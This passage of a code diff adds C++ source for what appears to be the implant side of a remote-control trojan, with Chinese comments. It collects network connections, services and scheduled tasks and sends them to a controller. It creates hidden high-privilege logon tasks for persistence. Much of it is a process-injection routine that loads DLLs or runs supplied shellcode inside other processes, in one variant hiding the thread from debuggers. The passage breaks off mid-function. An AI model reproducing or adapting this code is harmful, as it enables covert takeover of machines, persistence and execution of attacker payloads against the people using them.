wsprintf(szRemoteAddr, _T("%s:%u"), temp, + ntohs((unsigned short)(0x0000FFFF & dwRemotePort))); + SAFE_DELETE_AR(temp); + + // 打印出此入口的信息 + char strProcessName[100] = { 0 }; + const char* strType = _T("[TCP]"); + lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpTable_Vista->table[i].dwProcessId, szProcessName)); + + dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) * + sizeof(char) + 12; + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); + dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, &pTcpTable_Vista->table[i].dwProcessId, sizeof(DWORD) + 2); + dwOffset += sizeof(DWORD) + 2; + + memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); + dwOffset += lstrlen(strType) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + 2); + dwOffset += lstrlen(strState) * sizeof(char) + 2; + } + + PMIB_UDPEXTABLE pUdpExTable = NULL; + // 表明为 Vista 或者 7 操作系统 + PFNInternalGetUdpTableWithOwnerPid pInternalGetUdpTableWithOwnerPid; + pInternalGetUdpTableWithOwnerPid = + (PFNInternalGetUdpTableWithOwnerPid)GetProcAddress(hModule, "InternalGetUdpTableWithOwnerPid"); + if (pInternalGetUdpTableWithOwnerPid != NULL) { + if (pInternalGetUdpTableWithOwnerPid(&pUdpExTable, GetProcessHeap(), 1)) { + if (pUdpExTable) { + HeapFree(GetProcessHeap(), 0, pUdpExTable); + } + + FreeLibrary(hModule); + hModule = NULL; + + return 0; + } + + // 打印UDP监听表信息 + for (DWORD i = 0; i < pUdpExTable->dwNumEntries; ++i) { + // 本地IP地址 + inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr; + temp = char2wchar_t(inet_ntoa(inadLocal)); + wsprintf(szLocalAddr, _T("%s:%u"), temp, + ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort))); + SAFE_DELETE_AR(temp); + + // 打印出此入口的信息 + char strProcessName[100] = { 0 }; + const char* strType = _T("[UDP]"); + const char* szRemoteAddr = _T("*.*.*.*:*"); + const char* szUDPState = _T(" "); + lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName)); + + dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) * + sizeof(char) + 12; + if (LocalSize(lpBuffer) < (dwOffset + dwLength)) + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); + + memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); + dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, &pUdpExTable->table[i].dwProcessId, sizeof(DWORD) + 2); + dwOffset += sizeof(DWORD) + 2; + + memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); + dwOffset += lstrlen(strType) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); + dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; + + memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2); + dwOffset += lstrlen(szUDPState) * sizeof(char) + 2; + } + } + } + + lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); + + return lpBuffer; +} + +// 将进程ID号(PID)转化为进程名称 +char* CMachineManager::ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName) +{ + PROCESSENTRY32 processEntry; + processEntry.dwSize = sizeof(processEntry); + // 找不到的话,默认进程名为“???” + lstrcpy(ProcessName, _T("???")); + if (!::Process32First(hProcessSnap, &processEntry)) + return ProcessName; + do { + if (processEntry.th32ProcessID == ProcessId) { // 就是这个进程 + lstrcpy(ProcessName, processEntry.szExeFile); + break; + } + } while (::Process32Next(hProcessSnap, &processEntry)); + return ProcessName; +} + + +wchar_t* CMachineManager::char2wchar_t(char* cstr) +{ + int len = MultiByteToWideChar(CP_ACP, 0, cstr, -1, NULL, 0); + wchar_t* wstr = new wchar_t[len]; + memset(wstr, 0, len * sizeof(wchar_t)); + MultiByteToWideChar(CP_ACP, 0, cstr, -1, wstr, len); + return wstr; +} + + +BOOL CMachineManager::EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable) +{ + HANDLE hToken; + TOKEN_PRIVILEGES TokenPrivileges; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) + return FALSE; + + TokenPrivileges.PrivilegeCount = 1; + TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; + LookupPrivilegeValue(NULL, lpPrivilegeName, &TokenPrivileges.Privileges[0].Luid); + AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + if (GetLastError() != ERROR_SUCCESS) { + CloseHandle(hToken); + return FALSE; + } + CloseHandle(hToken); + return TRUE; +} + +void CMachineManager::DeleteService(LPBYTE lpBuffer, UINT nSize) +{ + EnablePrivilege(SE_DEBUG_NAME, TRUE); + SERVICE_STATUS status; + + SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); + + DWORD _err = GetLastError(); + BOOL isSuccess = QueryServiceStatus(service, &status); + if (status.dwCurrentState != SERVICE_STOPPED) { + isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); + } + isSuccess = ::DeleteService(service); + CloseServiceHandle(service); + CloseServiceHandle(scm); + + // 稍稍Sleep下,防止出错 + Sleep(100); + SendServicesList(m_dwServiceType); + EnablePrivilege(SE_DEBUG_NAME, FALSE); +} + +// 启动/停止服务 +void CMachineManager::MyControlService(LPBYTE lpBuffer, UINT nType) +{ + EnablePrivilege(SE_DEBUG_NAME, TRUE); + SERVICE_STATUS status; + + SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // 打开服务管理对象 + + SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); // 打开www服务 + + BOOL isSuccess = QueryServiceStatus(service, &status); + + switch (nType) { + case 0: + if (status.dwCurrentState == SERVICE_STOPPED) { //服务停止状态 就启动服务 + isSuccess = StartService(service, NULL, NULL); + } + break; + case 1: + if (status.dwCurrentState != SERVICE_STOPPED) { + isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); + } + break; + case 2: + if (status.dwCurrentState == SERVICE_RUNNING) { + isSuccess = ControlService(service, SERVICE_CONTROL_PAUSE, &status); + } + break; + case 3: + if (status.dwCurrentState == SERVICE_PAUSED) { + isSuccess = ControlService(service, SERVICE_CONTROL_CONTINUE, &status); + } + break; + } + + CloseServiceHandle(service); + CloseServiceHandle(scm); + + // 稍稍Sleep下,防止出错 + Sleep(100); + SendServicesList(m_dwServiceType); + EnablePrivilege(SE_DEBUG_NAME, FALSE); +} + +PBYTE CMachineManager::GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset) +{ + IRegisteredTaskCollection* pTaskCollection = NULL; // 所有任务集合 + LONG numTasks = 0; // 任务个数 + + //获取所有任务 + HRESULT hr = pFolder->GetTasks(TASK_ENUM_HIDDEN, &pTaskCollection); + + if (FAILED(hr)) { + return NULL; + } + + //获取任务个数 + hr = pTaskCollection->get_Count(&numTasks); + if (numTasks == 0) { + pTaskCollection->Release(); + return NULL; + } + + //开始遍历任务 + for (LONG i = 0; i < numTasks; i++) { + IRegisteredTask* pRegisteredTask = NULL; + hr = pTaskCollection->get_Item(_variant_t(i + 1), &pRegisteredTask); //下标是从1开始的 + if (SUCCEEDED(hr)) { + ITaskDefinition* pDefinition = NULL; + BSTR taskName = NULL; + BSTR path = NULL; + BSTR exepath = NULL; + DATE LastTime = 0; + DATE NextTime = 0; + const char* status = NULL; + TASK_STATE taskState = TASK_STATE_UNKNOWN; + + pRegisteredTask->get_Name(&taskName); + pRegisteredTask->get_Path(&path); + pRegisteredTask->get_LastRunTime(&LastTime); + pRegisteredTask->get_NextRunTime(&NextTime); + pRegisteredTask->get_State(&taskState); + + pRegisteredTask->get_Definition(&pDefinition); + if (pDefinition) { + GetProgramPath(pDefinition, &exepath); + } + + switch (taskState) { + case TASK_STATE_UNKNOWN: + status = _T("未知状态"); + break; + case TASK_STATE_DISABLED: + status = _T("已禁用"); + break; + case TASK_STATE_QUEUED: + status = _T("排队中"); + break; + case TASK_STATE_READY: + status = _T("已准备"); + break; + case TASK_STATE_RUNNING: + status = _T("运行中"); + break; + default: + break; + } + //保存数据到buff中 + SaveData(BSTRToUTF8(taskName), BSTRToUTF8(path), BSTRToUTF8(exepath), status, + LastTime, NextTime, data, offset); + + if (path) + SysFreeString(path); + if (taskName) + SysFreeString(taskName); + if (exepath) + SysFreeString(exepath); + if (pRegisteredTask) + pRegisteredTask->Release(); + } + } + pTaskCollection->Release(); + return NULL; +} + +PBYTE CMachineManager::GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset) +{ + ITaskFolderCollection* pFolders = NULL; // 子文件夹集合 + LONG Count = 0; // 子文件夹个数 + + HRESULT hr = pFolder->GetFolders(0, &pFolders); + if (FAILED(hr)) { + return 0; + } + + //获取文件夹个数 + hr = pFolders->get_Count(&Count); + if (FAILED(hr)) { + return 0; + } + + if (Count == 0) { + pFolders->Release(); + //获取文件夹下的任务 + GetTaskAll(pFolder, data, offset); + } else { + //先遍历目录下的任务 + GetTaskAll(pFolder, data, offset); + + //递归遍历文件夹 + for (int i = 0; i < Count; i++) { + ITaskFolder* ispFolder = NULL; + hr = pFolders->get_Item(variant_t(i + 1), &ispFolder); + if (FAILED(hr)) { + continue; + } + GetFolderAll(ispFolder, data, offset); + } + + pFolders->Release(); + } + + return 0; +} + +ITaskService* GetTaskService() { + // 初始化com库 + HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); + if (FAILED(hr)) { + return NULL; + } + // 设置安全等级 + hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, 0, NULL); + + if (FAILED(hr) && RPC_E_TOO_LATE != hr) { + CoUninitialize(); + return NULL; + } + // 实例化计划任务 + ITaskService* pService = NULL; + hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); + if (FAILED(hr)) { + CoUninitialize(); + return NULL; + } + // 连接计划任务 + hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); + if (FAILED(hr)) { + CoUninitialize(); + return NULL; + } + return pService; +} + +PBYTE CMachineManager::GetRoot() +{ + auto pService = GetTaskService(); + if (!pService) { + BYTE bToken = TOKEN_MACHINE_TASKLIST; + Send(&bToken, 1); + return 0; + } + + ITaskFolder* pRootFolder = NULL; + HRESULT hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); + if (FAILED(hr)) { + pService->Release(); + CoUninitialize(); + return 0; + } + PBYTE lpList = (BYTE*)LocalAlloc(LPTR, 32*1024); + if (lpList) { + lpList[0] = TOKEN_MACHINE_TASKLIST; + int offset = 1; + GetFolderAll(pRootFolder, lpList, offset); + Send((LPBYTE)lpList, (UINT)LocalSize(lpList)); + LocalFree(lpList); + } + pRootFolder->Release(); + pService->Release(); + CoUninitialize(); + + return 0; +} + +//创建 +BOOL CMachineManager::CreateTask(LPBYTE lpBuffer) +{ + auto pService = GetTaskService(); + if (!pService) { + return FALSE; + } + char* rootpath = (char*)lpBuffer; + char* taskname = rootpath + lstrlen(rootpath) + 1; + char* path = taskname + lstrlen(taskname) + 1; + char* Author = path + lstrlen(path) + 1; + char* Description = Author + lstrlen(Author) + 1; + + BOOL ret = FALSE; + ITaskFolder* pRootFolder = NULL; + ITaskDefinition* pDefinition = NULL; + IRegistrationInfo* pRegistrationInfo = NULL; + IPrincipal* pPrincipal = NULL; + ITaskSettings* pSettings = NULL; + ITriggerCollection* pTriggers = NULL; + IActionCollection* pActions = NULL; + IExecAction* pExecAction = NULL; + IRegisteredTask* pRegisteredTask = NULL; + // 选择计划任务注册在哪个文件夹下 + HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder); + if (SUCCEEDED(hr)) { + // 创建任务定义对象 + hr = pService->NewTask(0, &pDefinition); + if (SUCCEEDED(hr)) { + // 获取注册信息的实例用来填写注册信息 + hr = pDefinition->get_RegistrationInfo(&pRegistrationInfo); + // 获取设置主体信息的实例 + HRESULT hr2 = pDefinition->get_Principal(&pPrincipal); + // 设置任务相关信息 + HRESULT hr3 = pDefinition->get_Settings(&pSettings); + // 设置触发器 + HRESULT hr4 = pDefinition->get_Triggers(&pTriggers); + //设置执行操作 + HRESULT hr5 = pDefinition->get_Actions(&pActions); + + if (SUCCEEDED(hr) && SUCCEEDED(hr2) && SUCCEEDED(hr3) && SUCCEEDED(hr4) && SUCCEEDED(hr5)) { + //作者 + pRegistrationInfo->put_Author(CharToBSTR(Author)); + //描述 + pRegistrationInfo->put_Description(CharToBSTR(Description)); + pRegistrationInfo->Release(); + + // 设置登陆类型 (用户必须已经登录。 该任务将仅在现有的交互式会话中运行。 ) + pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN); + // 设置运行权限 (任务将以最高权限运行。 ) + pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST); + //设置被结束后自动延迟10分钟运行 + pSettings->put_StartWhenAvailable(VARIANT_TRUE); + //创建触发器 + ITrigger* pTrigger; + hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger); + + IAction* pAction; + //设置执行 + pActions->Create(TASK_ACTION_EXEC, &pAction); + pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); + //设置程序路径等信息 + pExecAction->put_Path(CharToBSTR(path)); + //注册 + hr = pRootFolder->RegisterTaskDefinition(CharToBSTR(taskname), pDefinition, TASK_CREATE_OR_UPDATE, + _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask); + if (SUCCEEDED(hr)) { + ret = TRUE; + pRegisteredTask->Release(); + } + + if (pAction) + pAction->Release(); + + if (pTrigger) + pTrigger->Release(); + } + if (pPrincipal) + pPrincipal->Release(); + + if (pSettings) + pSettings->Release(); + + if (pTriggers) + pTriggers->Release(); + + if (pActions) + pActions->Release(); + pDefinition->Release(); + } + pRootFolder->Release(); + } + pService->Release(); + CoUninitialize(); + + return ret; +} + +// 执行 或 停止 +BOOL CMachineManager::RunOrStopTask(LPBYTE lpBuffer, BOOL Action) +{ + auto pService = GetTaskService(); + if (!pService) { + return FALSE; + } + char* rootpath = (char*)lpBuffer; + char* taskname = rootpath + lstrlen(rootpath) + 1; + + BOOL ret = FALSE; + ITaskFolder* pRootFolder = NULL; + IRegisteredTask* ppTask = NULL; + VARIANT params = { 0 }; + //选择计划任务注册在哪个文件夹下 + HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder); + if (SUCCEEDED(hr)) { + hr = pRootFolder->GetTask(CharToBSTR(taskname), &ppTask); + if (SUCCEEDED(hr)) { + if (Action) { //执行 + hr = ppTask->Run(params, NULL); + if (SUCCEEDED(hr)) { + ret = TRUE; + } + } else { //停止 + hr = ppTask->Stop(0); + if (SUCCEEDED(hr)) { + ret = TRUE; + } + } + ppTask->Release(); + } + pRootFolder->Release(); + } + pService->Release(); + CoUninitialize(); + + return ret; +} + +//删除 +BOOL CMachineManager::DelTask(LPBYTE lpBuffer) +{ + auto pService = GetTaskService(); + if (!pService) { + return FALSE; + } + char* rootpath = (char*)lpBuffer; + char* taskname = rootpath + lstrlen(rootpath) + 1; + + BOOL ret = FALSE; + ITaskFolder* pRootFolder = NULL; + // 选择计划任务注册在哪个文件夹下 + HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder); + if (SUCCEEDED(hr)) { + hr = pRootFolder->DeleteTask(CharToBSTR(taskname), 0); + if (SUCCEEDED(hr)) { + ret = TRUE; + } + pRootFolder->Release(); + } + pService->Release(); + CoUninitialize(); + + return ret; +} + + +void CMachineManager::SaveData(const std::string& taskname, const std::string& path, const std::string& exepath, + const std::string& status, DATE LastTime, DATE NextTime, PBYTE &lpList, int &offset) +{ + DWORD nameLEN = 0; + DWORD taskpathLEN = 0; + DWORD statusLEN = 0; + DWORD exeLEN = 0; + DWORD sum = 0; + + nameLEN = taskname.length()+1; + taskpathLEN = path.length()+1; + statusLEN = status.length()+1; + exeLEN = exepath.length()+1; + + sum = nameLEN + taskpathLEN + statusLEN + exeLEN + sizeof(DATE) * 2; + // 动态扩展缓冲区 + if (LocalSize(lpList) < (offset + sum)) { + lpList = (BYTE*)LocalReAlloc(lpList, LocalSize(lpList)+4*1024, LMEM_ZEROINIT | LMEM_MOVEABLE); + if (!lpList) { + return; + } + } + + //拷贝数据 + memcpy(lpList + offset, taskname.c_str(), nameLEN); + offset += nameLEN; + + memcpy(lpList + offset, path.c_str(), taskpathLEN); + offset += taskpathLEN; + + memcpy(lpList + offset, exepath.c_str(), exeLEN); + offset += exeLEN; + + memcpy(lpList + offset, status.c_str(), statusLEN); + offset += statusLEN; + + memcpy(lpList + offset, &LastTime, sizeof(DATE)); + offset += sizeof(DATE); + + memcpy(lpList + offset, &NextTime, sizeof(DATE)); + offset += sizeof(DATE); +} + +BOOL CMachineManager::GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath) +{ + IActionCollection* pIAction = NULL; + IAction* pAction = NULL; + IExecAction* pExecAction = NULL; + HRESULT hr = iDefinition->get_Actions(&pIAction); + if (FAILED(hr)) { + goto out; + } + + hr = pIAction->get_Item(1, &pAction); + if (FAILED(hr)) { + goto out; + } + + hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); + if (FAILED(hr)) { + goto out; + } + + pExecAction->get_Path(exepath); + +out: + if (pIAction) + pIAction->Release(); + if (pAction) + pAction->Release(); + if (pExecAction) + pExecAction->Release(); + + iDefinition->Release(); + return 1; +} + +void CMachineManager::SendError(const char* Terror) +{ + int nlen = lstrlen(Terror) * sizeof(char) + 4; + BYTE* pbuffer = new BYTE[nlen]; + ZeroMemory(pbuffer, nlen); + pbuffer[0] = TOKEN_MACHINE_MSG; + memcpy(pbuffer + 1, Terror, nlen - 4); + Send(pbuffer, nlen); + SAFE_DELETE_AR(pbuffer); +} + +HANDLE WINAPI ThreadProc(PTHREAD_DATA data) +{ + data->fnRtlInitUnicodeString(&data->UnicodeString, data->DllName); + data->fnLdrLoadDll(data->DllPath, data->Flags, &data->UnicodeString, &data->ModuleHandle); + return data->ModuleHandle; +} + +DWORD WINAPI ThreadProcEnd() +{ + return 0; +} + + +void CMachineManager::injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID, byte* data, DWORD datasize, char* path) +{ + switch (mode) { + case 0: // 远线程反射注入(落地反射注入) + case 1: + case 2: { + DeleteFile(path); + if (GetFileAttributes(path) != -1) { //检查文件不存在 退出 + SendError(_T("文件已经存在无法写,换个文件名?")); + return; + } + // 写出文件 + HANDLE VmFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL); + if (VmFile == INVALID_HANDLE_VALUE) { + SendError(_T("创建落地路径文件失败")); + return; + } + DWORD dwTemp; + WriteFile(VmFile, data, datasize, &dwTemp, NULL); + CloseHandle(VmFile); + HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); + if (hProc == NULL) { + SendError(_T("打开进程失败")); + return; + } + switch (mode) { + case 0: { // CreateRemoteThread(落地反射注入) + yapi::YAPICall LoadLibraryA(hProc, _T("kernel32.dll"), "LoadLibraryW"); + if (ExeIsx86) { + DWORD64 x86Dll = LoadLibraryA(path); + SendError(_T("注入32位dll成功")); + } else { + DWORD64 x64Dll = LoadLibraryA.Dw64()(path); + SendError(_T("注入64位dll成功")); + } + } + break; + case 1: { // QueueUserAPC(落地反射注入) + FARPROC fpAddresses[5] = { + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtWriteVirtualMemory"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtSuspendThread"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAlertResumeThread"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueueApcThread") + }; + + pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[0]; + pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[1]; + pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[2]; + pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[3]; + pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[4]; + + HANDLE hThreadSnap = INVALID_HANDLE_VALUE; + THREADENTRY32 te32; + hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hThreadSnap == INVALID_HANDLE_VALUE) { + SendError(_T("无法获取线程快照")); + break; + } + te32.dwSize = sizeof(THREADENTRY32); + DWORD threadId; + if (!Thread32First(hThreadSnap, &te32)) { + SendError(_T("无法获得第一个线程")); + break; + } + do { + if (te32.th32OwnerProcessID ==dwProcessID) { + threadId = te32.th32ThreadID; + HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId); + if (hThread) { + LPVOID pDllPath = VirtualAllocEx(hProc, 0, lstrlen(path) * sizeof(char), MEM_COMMIT, PAGE_READWRITE); + WriteProcessMemory(hProc, pDllPath, LPVOID(path), lstrlen(path) * sizeof(char), NULL); + + if (fNtSuspendThread) { + ULONG SuspendCount = 0; + fNtSuspendThread(hThread, &SuspendCount); + } + LPVOID LoadLibAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW"); + DWORD dwResult = fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)LoadLibAddr, pDllPath, NULL, NULL); + if (fNtAlertResumeThread) { + ULONG SuspendCount = 0; + fNtAlertResumeThread(hThread, &SuspendCount); + } + if (dwResult) { + SendError(_T("有效载荷在线程中成功注入")); + break;; + } else { + SendError(_T("调用错误QueueUSerAPC().继续尝试其他线程")); + continue; + } + } else { + SendError(_T("获取找到的线程 ID 时出错")); + break;; + } + } + } while (Thread32Next(hThreadSnap, &te32)); + + if (!threadId) + SendError(_T("没有线程用于进程")); + CloseHandle(hThreadSnap); + return; + + } + break; + case 2: { // NtCreateThreadEx(落地反射注入) + HANDLE hThread = NULL; + LPVOID pThreadData = NULL; + THREAD_DATA data; + LPVOID pCode = NULL; + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (hNtdll == NULL) { + SendError(_T("ntdll.dll error")); + break; + } + data.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); + data.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(hNtdll, "LdrLoadDll"); + memcpy(data.DllName, path, (lstrlen(path) + 1) * sizeof(WCHAR)); + data.DllPath = NULL; + data.Flags = 0; + data.ModuleHandle = INVALID_HANDLE_VALUE; + pThreadData = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (pThreadData == NULL) { + SendError(_T("VirtualAllocEx error")); + break; + } + if (!WriteProcessMemory(hProc, pThreadData, &data, sizeof(data), NULL)) { + SendError(_T("WriteProcessMemory error")); + VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); + break; + } + /* DWORD endsize = (DWORD)ThreadProcEnd; + DWORD Procsize = (DWORD)ThreadProc; + DWORD sizeOfCode = Procsize - endsize;*/ + DWORD sizeOfCode = (DWORD_PTR)ThreadProcEnd - (DWORD_PTR)ThreadProc; + pCode = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pCode == NULL) { + SendError(_T("VirtualAllocEx2 error")); + VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); + break; + } + if (!WriteProcessMemory(hProc, pCode, (PVOID)ThreadProc, 4096, NULL)) { + SendError(_T("WriteProcessMemory2 error")); + VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); + VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE); + break; + } + FARPROC pFunc = NULL; + pFunc = GetProcAddress(hNtdll, "NtCreateThreadEx"); + if (pFunc == NULL) { + SendError(_T("NtCreateThreadEx error")); + VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); + VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE); + break; + } + + ((pfnNtCreateThreadEx)pFunc)(&hThread, 0x1FFFFF, NULL, hProc, pCode, pThreadData, + THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | + THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL); + if (hThread == NULL) + SendError(_T("注入失败")); + else + SendError(_T("注入成功")); + } + break; + + default: + break; + } + CloseHandle(hProc); + + } + break; + case 3: + case 4: + case 5: { + HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); + if (hProc == NULL) { + SendError(_T("打开进程失败")); + return; + } + switch (mode) { + + case 3: { // CreateRemoteThread(shellcode 注入) +#ifdef _WIN64 + LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL); + HANDLE ThreadShellCode = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, 0, NULL); +#else + DWORD64 RemotlpAddress = yapi::VirtualAllocEx64(hProc, NULL, (SIZE_T)datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + yapi::WriteProcessMemory64(hProc, RemotlpAddress, data, datasize, NULL); + HANDLE ThreadShellCode = yapi::CreateRemoteThread64(hProc, NULL, 0, RemotlpAddress, NULL, 0, NULL); +#endif + if (ThreadShellCode) CloseHandle(ThreadShellCode); + SendError(_T("注入shellcode成功")); + } + break; + case 4: { // QueueUserAPC(shellcode 注入) + FARPROC fpAddresses[5] = { + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtWriteVirtualMemory"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtSuspendThread"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAlertResumeThread"), + GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueueApcThread") + }; + pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[0]; + pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[1]; + pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[2]; + pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[3]; + pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[4]; + HANDLE hThreadSnap = INVALID_HANDLE_VALUE; + THREADENTRY32 te32; + hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (hThreadSnap == INVALID_HANDLE_VALUE) { + SendError(_T("无法获取线程快照")); + break; + } + te32.dwSize = sizeof(THREADENTRY32); + DWORD threadId; + if (!Thread32First(hThreadSnap, &te32)) { + SendError(_T("无法获得第一个线程")); + break; + } + do { + if (te32.th32OwnerProcessID == dwProcessID) { + threadId = te32.th32ThreadID; + HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId); + if (hThread) { + LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL); + pNtSuspendThread NtSuspendThread = NULL; + if (fNtSuspendThread) { + 